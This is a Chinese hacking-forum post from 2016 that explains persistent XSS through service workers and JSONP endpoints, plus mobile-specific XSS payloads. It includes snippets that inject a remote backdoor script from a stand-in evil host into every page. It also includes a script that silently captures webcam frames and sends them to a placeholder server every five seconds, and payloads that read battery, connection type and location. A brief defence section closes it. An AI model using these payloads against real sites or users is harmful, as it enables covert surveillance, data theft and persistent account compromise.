搜索
查看: 666|回复: 1

新型XSS总结两则

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-7-4 15:20:26 | 显示全部楼层 |阅读模式
0x00 简介

近期看到了两种xss攻击手法:一种是利用JSONP和serviceWorkers的持久性XSS,一种是移动设备中的XSS,学习后总结一下,同时也请高手多多指点。

0x01 基于JSONP和serviceWorkers的持久性XSS

对于Web攻击者来说,通常都渴望在未知用户浏览器具体类型的情况下,仍然能够顺利通过它来访问网站。甚至在浏览器被关闭,再次访问时要挂钩的回话也没有了的情况下,依旧可以访问网站,那该多好啊!实际上,这不仅是说说而已,如果联合利用未被过滤的JSONP路由、serviceWorkers和XSS的话,完全可以为网站打造一个持久性后门。

1 ServiceWorker简介

ServiceWorkers是一种较为新颖的web技术,它可以用来拦截web请求。实际上,这种技术本意在于实现网站的离线运行。ServiceWorkers可用于拦截web请求,并返回一个缓存版本,这样的话即使在离线的状态下,网站仍然处于可用状态。。

关于ServiceWorkers的具体介绍,请参考https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers页面。

说到底,就是写一个脚本,拦截用到onfetch处理程序的web请求,然后检查是否具有相应的内容。如果有的话,将这些内容返回,否则的话,建立相应的web请求,并将返回的内容缓存起来。

2 ServiceWorkers的滥用

实际上,在ServiceWorkers的帮助下,我们是可以返回任意内容的。

例如:

  1. this.addEventListener('fetch', function(event) {
  2.    event.respondWith(new Response("
  3. <h1> Intercepted!</h1>
  4. "));
  5. });
复制代码

这种能力有可能被攻击者滥用。想象一下,如果你请求了一项内容,然后将它修改之后再返回,后果会怎么样?

  1. <html>
  2. <body>
  3. .....

  4. <script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing

  5. </body>

  6. </html>
复制代码

这样以来,你就可以在每个请求后面追加上自己的脚本,但是用户却毫无察觉。也就是说,所有经过缓存层的内容都已经过了某种过滤。

3 JSONP终点

当然,ServiceWorkers自身也有一定的局限性,即只能安装到与请求资源相同的域中。

这就意味着,要将一个serviceWorker安装到c0nrad.io的话,需要像下面这样来注册该serviceWorker:

  1. navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')
复制代码

但,请不要忘了:未经过滤的JSONP终点(endpoint)!JSONP表示带有填充的JSON,不过JSONP通常都要用到一个查询参数,并将javascript数据打包到一个函数中。

  1. /jsonp?callback=myAwesomeFunction returns:

  2. var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`
复制代码

这不仅给开发人员带来了便利,同时也给绕过SOP打开了方便之门:你可以从一个远程域而非JSON来下载javascript。

如果该JSONP未经过滤的话,你就能够返回任意的javascript代码了。

下面进行举例说明:

  1. <script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">
复制代码

之后,如果你将该service worker注册为使用这个JSONP终点的话,serviceWorker工厂自然没意见。

4 完整的攻击流程
  • 创建最终的有效载荷(窃取电子邮件、监视网络账户等)
  • 使用JSONP启动有效载荷
  • 利用XSS将有效载荷注入受害者机器
  • 获取持久性访问权限具体案例

攻击者通常利用这种手法维护持久性的访问权限,以及抓取信息。最受青睐的攻击目标通常是电子邮件、社交媒体以及私人公司网站。所有正常用户所能够做的事情,攻击者也照样能够享有同样的权限。

当然这种攻击手段也可用于攻击银行,不过如果你已经进行了XSS的,通常就不必使用这种攻击手法了。这种手法通常只是用来实现持久性。

5 防御对策
  • 过滤JSONP终点。只允许数字字母、句号和破折号。
  • 消除XSS漏洞。
0x03 移动设备中的XSS

由于主流浏览器的移动版与桌面版非常类似,所以,通常所有HTML5中的东西都可以很好地运行在这些移动浏览器中。不过,也有些东西是这些平台所特有的,部分正好可以用来发动XSS攻击。首先,让我们来了解一下HTML事件处理程序。

当移动设备的屏幕模式在横屏与竖屏之间切换时,就会引发文档主体中的orientationchange事件。

  1. <body onorientationchange=alert(orientation)>
复制代码

它会显示屏幕切换后的旋转度数。

但是对于移动设备来说,最主要的还是触摸事件,这些事件几乎接受任意类型的标签,例如鼠标事件等。但是,当利用<html>来触发它们时,一个重要的区别在于它会覆盖整个浏览器屏幕。虽然该标签也可以用于鼠标事件,但是每当鼠标移动时它就会频繁触发该事件,这一点非常让人头疼。

  1. <html ontouchstart=alert(1)>
  2. <html ontouchend=alert(1)>
  3. <html ontouchmove=alert(1)>
  4. <html ontouchcancel=alert(1)>
复制代码

除了事件之外,还可以通过Navigator API(应用程序接口)搞到特定设备的相关数据。除了最后介绍的振动数据之外,其他的同样适用于笔记本。例如,下面的数据,通过了解受害人使用哪种类型的互联网连接,对于攻击者发动更全面的攻击非常有帮助:

  1. <svg onload=alert(navigator.connection.type)>
复制代码

下列代码(适用于Firefox)可以获取设备的电量数据:

  1. <svg onload=alert(navigator.battery.level)>
  2. <svg onload=alert(navigator.battery.dischargingTime)>
  3. <svg onload=alert(navigator.battery.charging)>
复制代码

了解电池的剩余电量,在耗尽电池剩余电量来迫使某人离线时非常有用。借助于连接类型,就可以知道受害者使用的是WI-FI连接还是蜂窝网络。通过了解网速的变化,甚至可以推断出受害者的位置(如是否远离房间),这些信息对于进一步的攻击是很有用的。

如果能够获得被害者精确位置就更好了,为此,可以借助于地理定位属性:

  1. <script>
  2. navigator.geolocation.getCurrentPosition(function(p){
  3. alert('Latitude:'+p.coords.latitude+',Longitude:'+
  4. p.coords.longitude+',Altitude:'+p.coords.altitude);})
  5. </script>
  6. (remember to change “+” for “%2B” in URLs)
复制代码

不过,上述代码需要受害者的相关授权。

如果我们有受害者的授权的话,甚至可以对相机进行截图,并发送到服务器(下列脚本适用于Chrome):

  1. <script>
  2. d=document;
  3. v=d.createElement(‘video’);
  4. c=d.createElement(‘canvas’);
  5. c.width=640;
  6. c.height=480;
  7. navigator.webkitGetUserMedia({‘video’:true},function(s){
  8. v.src=URL.createObjectURL(s);v.play()},function(){});
  9. c2=c.getContext(‘2d’);
  10. x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘;
  11. setInterval(x,5000);
  12. </script>
复制代码

受害者的截屏经编码后存放在服务器的日志中

若想利用自己的相机进行测试,只需要用下列代码替换掉上面的fetch(“//HOST/”+c2.canvas.toDataURL())‘;即可:

  1. open(c2.canvas.toDataURL())
复制代码

每隔5秒截屏一次。

对于手机来说,最激动人心的PoC非震动功能莫属:

  1. <svg onload=navigator.vibrate(500)>
  2. <svg onload=navigator.vibrate([500,300,100])>
复制代码

如果你的手机启用了震动模式,可以点击http://brutelogic.com.br/webgun/test.php?p=%3Csvg%20onload=navigator.vibrate%28[500,300,100]%29%3E来体验一把XSS演示(适用于Firefox浏览器)。

第一个示例中的数字是指振动的毫秒数。在第二个示例中,表示先震动500毫秒,间隔300毫秒,再震动100毫秒。

由于这是一个发展迅猛的领域,所以一些涉及手机的API会被淘汰,同时,对于移动设备的支持也会因浏览器的不同而有所差异。所以,了解它们的最佳方法就是参考类似Mozilla等浏览器的官方文档。

0x04 小结

本文中,我们总结了两种XSS技术,希望大家能够喜欢。

0x05 引用

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...

3

主题

31

帖子

130

积分

我是新手

Rank: 1

积分
130
发表于 2016-7-12 21:38:40 | 显示全部楼层
可以很强势
modau.pw
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表